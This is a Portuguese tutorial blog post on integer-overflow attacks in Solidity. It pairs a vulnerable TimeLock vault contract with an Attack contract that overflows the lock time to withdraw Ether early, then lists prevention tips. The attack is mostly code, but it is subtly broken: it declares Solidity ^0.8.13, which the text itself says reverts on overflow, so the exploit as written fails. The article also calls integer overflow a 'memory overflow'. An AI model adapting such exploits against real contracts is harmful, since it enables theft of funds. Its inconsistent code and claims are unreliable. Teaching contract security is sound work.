Ataques com estouro de memória

porMatheusem18/06/2022

Nesse artigo iremos aprender a como um contrato malicioso de estouro de memória funciona e como previnir um ataque em seu contrato inteligente.

Vulnerabilidade

Nas versões abaixo de 0.8 do Solidity, os valores inteiros (int) estouram seu limite sem apresentar nenhum erro. Já nas versões 0.8 ou acima, o Soidity emite um erro para o usuário em caso de tentativa de estourar o inteiro.

A exploração do ataque por estouro, permite que o contrato B chame A até que estoure o valor da variável usada por A, chegando ao ponto de conseguir resgatar um valor de Ether antes de um prazo estipulado.

Um exemplo de como um ataque funciona:
Este contrato foi projetado para funcionar como um cofre com temporizador.
O usuário pode depositar neste contrato, mas não pode retirar por pelo menos uma semana.
O usuário também pode estender o tempo de espera além do período de espera de 1 semana.

  1. Implante o TimeLock
  2. Implante o ataque com o endereço do TimeLock
  3. Chame Attack.attack enviando 1 ether. Você será imediatamente capaz de retirar seu ether.

O que aconteceu?
O ataque causou o estouro do TimeLock.lockTime e foi capaz de retirar antes do período de espera de 1 semana.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0, "Fundos insuficientes");
require(block.timestamp > lockTime[msg.sender], "O tempo de bloqueio não expirou");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Falha ao enviar Ether");
}
}
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock) {
timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}();
/*
se t = tempo de bloqueio atual, então precisamos encontrar x tal que
x + t = 2**256 = 0
so x = -t
2**256 = type(uint).max + 1
so x = type(uint).max + 1 - t
*/
timeLock.increaseLockTime(
type(uint).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();
}
}

Técnicas Preventivas

  • Use SafeMath para evitar estouro de variáveis e estouro aritmético
  • O padrão do Solidity 0.8+ é lançar um erro para estouro de variáveis / estouro aritmético

Testar no Remix